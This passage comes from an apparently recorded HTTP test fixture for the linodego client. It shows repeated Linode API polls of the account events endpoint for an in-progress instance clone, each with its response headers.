"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.151417, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.211336, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.316672, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.384632, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.467376, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.53501, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.59303, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.672521, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.749134, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.813851, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.882476, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 32.946409, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.008757, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.073491, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.14133, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.202811, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 33.276157, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 